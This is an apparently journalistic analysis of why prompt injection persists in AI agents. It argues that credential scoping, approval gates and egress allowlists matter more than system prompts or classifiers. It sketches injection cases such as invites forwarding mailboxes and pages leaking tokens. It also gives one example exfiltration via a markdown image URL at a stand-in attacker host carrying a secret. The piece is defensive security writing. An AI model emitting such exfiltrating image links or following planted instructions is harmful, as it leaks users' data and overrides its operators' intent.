Skip to content
ความปลอดภัยและจริยธรรม

Analysis: prompt injection is a permissions problem, and treating it as a prompt problem is why it keeps working

Three years of mitigations have not closed the hole, because the hole is not in the wording. A practical model of where agent security actually lives, and what a defensible deployment looks like.

โดย DigitalNeuron Deskอ่าน 7 นาที

คำตอบโดยย่อ

Why can't prompt injection be fixed, and what should teams do instead?

A language model cannot reliably separate instructions from data, because both arrive as the same token stream. That is an architectural property, not a bug in a particular model, so no system prompt closes it. Defensible deployments treat every input an agent reads as potentially hostile and constrain what the agent is allowed to do: narrow tool scopes, per-session credentials, human approval on irreversible actions, and egress limits that make a successful injection cheap rather than catastrophic.

ประเด็นสำคัญ

  • Instructions and data share one channel in a language model. No amount of prompt engineering creates a boundary the model can be relied on to hold.
  • Injection only matters when the model can act. The severity of any injection is a function of the tools attached, not of the text that triggered it.
  • The useful design question is not whether something can be injected, but what the worst thing this agent can do in one turn is, and who authorised it.
  • Detection classifiers reduce volume, not risk class. Plan for the case where one gets through, because at scale one will.
  • The most effective controls are the least glamorous: scoped credentials, allowlisted destinations, and approval gates on writes.

Every few months a new demonstration circulates: a calendar invite that makes an assistant forward a mailbox, a web page that makes a browsing agent leak a session token, a code comment that makes a repository agent open a pull request nobody asked for. The demonstrations change. The reaction rarely does — someone proposes a firmer system prompt, someone else proposes a classifier, and the industry moves on until the next one.

The pattern repeats because the problem is misfiled. Prompt injection is discussed as a content-filtering problem when it is an authorisation problem, and authorisation problems are not solved with better wording.

Why the boundary does not exist

A language model receives one sequence. The system prompt, the user's message, the contents of a retrieved document, the output of a tool call, and the text of a web page all arrive as tokens in that sequence. The model is trained to follow instructions found in that sequence. It has no separate, privileged channel through which the operator's intent arrives, and no mechanism that marks certain spans as inert.

This is the whole of it. Software engineers have an intuition for this shape from SQL injection, and the analogy is useful right up to the point where it breaks. SQL injection was solved by prepared statements: the database gained a way to receive the query structure and the parameter values through different channels, so no amount of cleverness in the value could change the structure. There is no prepared statement for a language model. Nobody has shipped a general mechanism that lets a model receive instructions and data separately and be relied upon to honour the distinction.

Delimiters do not create that mechanism. Marking untrusted content with tags, hashes or unusual separators helps against unsophisticated attempts, and it should be done. But the marker is itself text in the same stream, and a sufficiently direct instruction placed inside the marked region can still be followed — particularly when it is more specific and more recent than the general defensive instruction above it.

Injection without capability is a curiosity

Here is the reframing that changes design decisions. An injected instruction is only interesting if the model can do something as a result.

A model that reads a hostile web page and produces text has been made to say something wrong. That is a quality problem — real, but bounded. The same model with a mail-send tool, an HTTP client and a durable OAuth token is a different system: the hostile page is now a remote code path into whatever those credentials reach.

So the severity of an injection is not a property of the text. It is a property of the tool surface attached to the model at the moment it reads the text. Two deployments of the same model, with the same system prompt and the same defences, can differ by several orders of magnitude in worst case simply because one of them has a write-scoped token in the loop.

This is why how injectable is our prompt is the wrong metric, and what is the worst thing this agent can do in a single turn is the right one. The second question has an answer you can write down, hand to a security reviewer, and test.

The shape that keeps getting breached

Almost every serious incident-shaped scenario has the same three ingredients:

  • Untrusted input reaches the model. Email bodies, web pages, PDFs, issue trackers, calendar invites, code comments, filenames, OCR output, transcripts. Anything a third party can write into.
  • The model holds a durable, broad credential. A long-lived API token, a service account, a session cookie, an SSH key mounted into the sandbox.
  • There is an outbound path. An HTTP client, an email tool, a webhook, a git push, or simply an image URL that the renderer will fetch.

Remove any one of the three and the interesting attacks get much harder. That is the actual design lever, and it is available today without waiting for a model that resists injection.

The third ingredient deserves particular attention because it is so often invisible. Markdown image rendering is an exfiltration channel: an agent that emits an image tag pointing at https://attacker.example/?d=SECRET into a surface that renders images has made an outbound request with attacker-chosen content, without any tool call at all. Teams that carefully allowlist their HTTP tool and then render agent output as rich markdown have left the back door open.

Controls that actually change the risk class

The ordering here is deliberate. The cheap structural controls do more than the sophisticated statistical ones.

Scope the credential to the task, not to the agent. The token an agent holds while summarising one customer's tickets should not be able to read another customer's tickets. This is ordinary least privilege, applied per session rather than per service. It is the single highest-leverage control, because it converts the attacker reached our data into the attacker reached the data this request was already about.

Put a gate on irreversible and outbound actions. Reads can usually be automatic. Writes, sends, payments, deletions, merges and external posts are where a human confirmation earns its cost. The gate must present what will happen rather than that something will happen — an approval dialog reading "the agent wants to use the email tool" trains people to click yes. One that names the recipient and shows the body does not.

Allowlist destinations, not just tools. A fetch tool restricted to a set of known hosts is a materially different object from a fetch tool that can reach any URL. The same applies to mail recipients, webhook targets and git remotes.

Separate planning from acting where the stakes justify it. A common pattern is a two-model arrangement: one model reads the untrusted material and produces a structured summary with no ability to call tools, and a second model — which never sees the raw untrusted text — acts on that structured output. This does not eliminate injection, because the summary can carry a payload, but a constrained schema is a much narrower channel than free text.

Log the provenance of every instruction that led to an action. When something goes wrong, the question which document made the agent do this needs an answer that does not require reconstructing a session from memory.

Then add the classifiers. Injection detectors, output scanners and anomaly rules are worth deploying. They reduce volume. Treat them as they deserve to be treated: statistical filters over an adversarial input distribution, useful for cutting noise, never load-bearing for a dangerous capability.

What this means for tool design

The rise of standard tool interfaces — the Model Context Protocol among them — has made it easy to attach capabilities to an agent. That ease is the risk. A connector catalogue where each entry is one click makes the tool surface grow faster than anyone's threat model.

Two habits help. First, tools should be narrow verbs, not broad APIs. A refund_order tool that takes an order id and an amount, with a server-side cap, is a safer object than a generic call_internal_api tool that takes a method, a path and a body — even though the second is more flexible and much easier to write. The flexibility is precisely what an injected instruction uses.

Second, the destructive capability should live behind a policy the model cannot argue with. If the refund limit is enforced in the tool implementation, the model's reasoning about whether a refund is justified cannot exceed it. If the limit is described in the system prompt, it can.

The uncomfortable part

There is no version of this analysis that ends with the problem solved. Research on instruction hierarchies, on training models to privilege system-level text, and on architectural separation of channels is real and is making progress, and a model that resists injection substantially better than today's would be genuinely valuable. But substantially better is not the same as safe to attach to production credentials, and security postures should not be built on a capability that has not shipped.

The practical position is the one security engineering has always taken with untrusted input: assume it gets through, and make sure that when it does, the damage is bounded by something other than the model's judgement. Every control in this article is available now, none of them requires a new model, and together they turn a class of incident from catastrophic into annoying.

That is a lower ceiling than solved. It is also the difference between an agent you can deploy and one you can only demo.

คำถามที่พบบ่อย

Is prompt injection the same as jailbreaking?
No. Jailbreaking is the user of a system trying to make the model ignore its own policies. Prompt injection is a third party planting instructions in content the model reads, so the attacker is not the user and the user is usually the victim.
Can a better system prompt stop it?
It raises the cost of an attack and stops lazy attempts. It does not create a boundary, because the defensive instruction and the attacking instruction are the same kind of object to the model, and later or more specific text often wins.
Do guardrail classifiers solve the problem?
They cut the volume of successful attempts, which is worth doing. They are statistical filters on an adversarial input space, so they should be treated as noise reduction and never as the control that makes a dangerous capability safe.
Which agent designs are most exposed?
Any agent that reads untrusted content and holds a durable, broadly scoped credential. Email assistants, browsing agents, ticket triage bots and repository agents are the classic shapes because they consume attacker-writable text and can act on systems of record.
What is the single highest-value control?
Reducing the blast radius of one turn: a credential that only reaches the resources this task needs, and a hard approval gate on anything irreversible or outbound.

แหล่งข้อมูล

  1. OWASP Top 10 for LLM ApplicationsOWASP
  2. AI Risk Management FrameworkNIST
  3. Model Context Protocol — specificationModel Context Protocol
  4. Regulation (EU) 2024/1689 — Artificial Intelligence ActOfficial Journal of the European Union
แท็กsecurityprompt injectionagentstool usepermissionsthreat modelling

อ่านเพิ่มเติม

Anthropic launches $5 million AI wellbeing research grant program

Anthropic เปิดตัวโครงการทุนมูลค่า 5 ล้านดอลลาร์สหรัฐสำหรับการวิจัยอิสระเกี่ยวกับผลกระทบของ AI ต่อสุขภาวะของผู้ใช้ ผู้ได้รับทุนที่ได้รับการคัดเลือกจะได้รับเงินทุนโดยตรง สิทธิ์เข้าถึงโมเดลของ Anthropic และการสนับสนุนทางเทคนิค พร้อมกับพัฒนาเครื่องมือประเมินแบบโอเพนซอร์สอย่างเป็นอิสระ กำหนดส่งใบสมัครคือวันที่ 21 กันยายน และมีกำหนดส่งคำเชิญให้ยื่นข้อเสนอฉบับสมบูรณ์ภายในวันที่ 5 ตุลาคม

อ่าน 2 นาที

AI Agent คืออะไร และแตกต่างจาก Chatbot อย่างไร

เอเจนต์ AI คือแบบจำลองภาษาที่ได้รับเครื่องมือที่สามารถเรียกใช้ได้ เป้าหมายที่ต้องบรรลุ และได้รับอนุญาตให้ดำเนินการหลายขั้นตอนโดยไม่ต้องขออนุญาตจากมนุษย์ในแต่ละขั้นตอน แชทบอทจะตอบคำถามและหยุดทำงาน เอเจนต์จะทำงานต่อไปจนกว่าจะตัดสินว่าบรรลุเป้าหมายแล้ว หรือจนกว่าจะหมดงบประมาณ

อัปเดต อ่าน 10 นาที

Analysis: getting machine-readable output from a language model, and why 'return JSON' is not a specification

Use the platform's constrained decoding or schema-enforced mode where it exists, because it makes malformed syntax impossible rather than unlikely. Then design the schema for the model: flat, few required fields, explicit enums, an explicit way to express uncertainty, and no field that requires arithmetic. Validate every response against the schema, and treat semantic correctness — right values, not just valid shape — as a separate problem that validation does not solve.

อ่าน 6 นาที